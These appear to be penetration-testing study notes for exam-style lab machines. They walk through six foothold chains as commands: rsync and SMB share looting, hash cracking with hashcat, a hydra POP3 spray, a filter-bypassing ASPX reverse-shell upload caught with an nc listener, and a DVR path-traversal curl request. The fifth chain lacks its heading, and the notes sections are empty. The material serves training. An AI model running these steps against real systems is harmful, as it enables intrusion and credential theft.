Initial Foothold Vectors

Standalones — Initial Foothold Vectors


1. Anonymous rsync → .env Credential Exposure → MySQL → bcrypt Cracking → SSH

Seen in: Exam A (.110), Exam D (.110)
OS: Linux
Ports: 22 (SSH), 873 (rsync), 3306 (MySQL/MariaDB)

Discovery Steps

  1. nmap -p- -T4 -sCV -Pn $IP → identifies port 873 (rsync, protocol version 31)
  2. rsync $IP:: → lists available modules without authentication; discovers cloudsite-dev

Exploitation Steps

  1. rsync -avP $IP::cloudsite-dev ./loot/ → pulls full CMS source tree locally
  2. cat loot/.env → finds plaintext DB credentials: DB_USER=cloudsite_dev, DB_PASSWORD=Cs!Dev#2026@Secure
  3. mysql -h $IP -u cloudsite_dev -p --skip-ssl-verify-server-cert → connects directly to exposed MySQL from attacker host
  4. USE cloudsite; SELECT * FROM developers; → dumps bcrypt hashes and usernames for 5 users (admin, sarah, marcus, elena, james)
  5. Save hashes to hashes.txt
  6. hashcat -m 3200 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt → cracks sarah's hash: 12345678910
  7. ssh sarah@$IP using cracked password → interactive shell, retrieve local.txt

Notes


2. Anonymous/Guest SMB → Config File Credential Exposure → MSSQL → Plaintext Credential Pivot → WinRM

Seen in: Exam A (.111), Exam B (.111)
OS: Windows
Ports: 135, 139, 445 (SMB), 1433 (MSSQL), 5985 (WinRM)

Discovery Steps

  1. nmap -p- -T4 -sCV -Pn $IP → identifies SMB (445), MSSQL (1433), WinRM (5985)
  2. nxc smb $IP -u 'guest' -p '' → confirms guest authentication accepted; SMBv1: None

Exploitation Steps

  1. nxc smb $IP -u 'guest' -p '' -M spider_plus -o DOWNLOAD_FLAG=True → spiders all readable shares (IPC$, WebDev), downloads all files
  2. Inspect downloaded files → find Web.config (in legacy/ subdirectory): connectionString="Server=localhost;Database=aboroabmain;User Id=dom;Password=DarkBright789;"
  3. nxc smb $IP -u 'guest' -p '' --rid-brute → enumerate local users; confirms dom is a valid user (RID 1001)
  4. nxc mssql $IP -u dom -p 'DarkBright789' --local-auth -q 'USE aboroabmain; SELECT * FROM ServiceAccounts' → dumps 23 service account entries with plaintext passwords including dom:GreenLantern456 (Web Portal DB Login)
  5. nxc winrm $IP -u 'dom' -p 'GreenLantern456' → confirms WinRM access (Pwnd!)
  6. evil-winrm -i $IP -u 'dom' -p 'GreenLantern456' → interactive PowerShell session, retrieve local.txt

Notes


3. WHOIS Enumeration → Hydra POP3 Brute Force → SSH Credentials in Mailbox

Seen in: Exam C (.110), Exam E (.110)
OS: Linux
Ports: 22 (SSH), 43 (WHOIS), 110 (POP3/Dovecot), 143 (IMAP/Dovecot)

Discovery Steps

  1. nmap -p- -T4 -sCV -Pn $IP → identifies SSH, port 43 as "whois?" (OSCP.EXAM Domain Registry), POP3, IMAP
  2. Nmap banner for port 43 includes % OSCP.EXAM Domain Registry — flags it as an internal registry

Exploitation Steps

  1. whois -h $IP oscp.exam → queries internal WHOIS; returns nic-hdl, e-mail, and contact fields: SA001-OSCP, sysadmin@oscp.exam, IT001-OSCP, it-ops@oscp.exam
  2. Build users.txt manually from WHOIS fields: SA001-OSCP, IT001-OSCP, sysadmin, it-ops
  3. hydra -L users.txt -P users.txt pop3://$IP → credential spray; discovers sysadmin:sysadmin
  4. telnet $IP 110 → USER sysadmin → PASS sysadmin → +OK Logged in.
  5. LIST → 25 messages in mailbox
  6. RETR 9 → email from Marcus Webb (IT Support Lead) to sysadmin containing onboarding info for James Turner: Username: james, Password: Welcome2026!
  7. ssh james@$IP → interactive shell using found credentials

Notes


4. Employee Portal Self-Registration → SSH Private Key Exposed in Profile

Seen in: Exam B (.112), Exam C (.112)
OS: Linux
Ports: 22 (SSH), 80 (HTTP/nginx)

Discovery Steps

  1. nmap -sVC -p- -T4 -sT --open -Pn $IP → ports 22 and 80 open; HTTP server (nginx) with title "Home | Employee Portal"
  2. Browse to web server → "Crestline" employee portal with login and self-registration

Exploitation Steps

  1. Navigate to registration page → create arbitrary account (no email verification / no approval required)
  2. Log in → browse to "Team" directory → see all employee profiles listed
  3. Click on "Clara Mitchell" (DevOps Engineer) → profile shows two attached files: dev_staging_key.bak, deployment_procedures.pdf
  4. Download dev_staging_key.bak
  5. file dev_staging_key.bak → OpenSSH private key
  6. chmod 600 dev_staging_key.bak
  7. ssh -i dev_staging_key.bak clara@$IP → successful SSH shell

Notes


Seen in: Exam A (.112)
OS: Windows (IIS/ASP.NET)
Ports: 80 (HTTP), 5985 (WinRM)

Discovery Steps

  1. nmap -sVC $IP → port 80 (IIS), 5985 (WinRM)
  2. Browse to main domain; standard dir-busting returns nothing interesting
  3. Observe URL change when browsing → add domain names to /etc/hosts

Exploitation Steps

  1. ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://almondblossoms.ai -H "Host:FUZZ.almondblossoms.ai" → support returns distinctly different response size (2645 vs 19013 words)
  2. Add support.almondblossoms.ai to /etc/hosts → navigates to "Almond Blossoms Support Hub" IT helpdesk portal
  3. Self-register an account → log in → navigate to "Submit a New Ticket"
  4. feroxbuster -u http://support.almondblossoms.ai/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,json,zip -t 80 -d 3 → discovers /uploads/ is directly browsable
  5. Attempt to upload .aspx reverse shell → blocked by client-side filter (accepts only JPEG, PNG, GIF)
  6. Intercept multipart upload request in Burp Suite → change Content-Type header of file part to image/jpeg while keeping .aspx extension → re-submit → upload succeeds
  7. Note uploaded file path from ticket attachment (e.g., /uploads/tickets/4/rev.aspx)
  8. nc -lvnp 443 → listener ready
  9. Browse to the uploaded file path in browser → triggers ASP.NET execution → catch reverse shell as oscp\marcus

Notes


6. Anonymous FTP → Plaintext Credentials → Argus DVR Path Traversal → SMB Spray → WinRM

Seen in: Exam D (.111)
OS: Windows
Ports: 21 (FTP), 80 (HTTP), 443 (HTTPS/Tomcat), 445 (SMB), 5985 (WinRM), 8080 (Argus DVR)

Discovery Steps

  1. nmap -sVC -p- $IP → identifies FTP (21), Samsung AllShare httpd (80), Apache Tomcat 8.5.34 (443), SMB (445), WinRM (5985), unknown on 8080
  2. FTP anonymous login: ftp $IP → anonymous: → success

Exploitation Steps

  1. Browse FTP directory → download credentials file containing Sandra:Nj82@1Waqk90$
  2. Identify Argus Surveillance DVR 4.0.0.0 on port 8080 → apply CVE path traversal (EDB-45296):
    curl "http://$IP:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=../../../../../../Users%5CSandra%5CDesktop%5Clocal.txt" → confirms Sandra is a real OS user and reads local.txt directly
  3. Build users.txt and passwords.txt from all collected credentials
  4. nxc smb $IP -u users.txt -p passwords.txt --continue-on-success -t 1 → finds valid pair: OSCP\Sandra:V3rt1cal8Shr1nk2C3ntury!
  5. Confirm WinRM access: nxc winrm $IP -u 'Sandra' -p 'V3rt1cal8Shr1nk2C3ntury!'
  6. evil-winrm -i $IP -u 'Sandra' -p 'V3rt1cal8Shr1nk2C3ntury!' → PowerShell session

Notes


See Also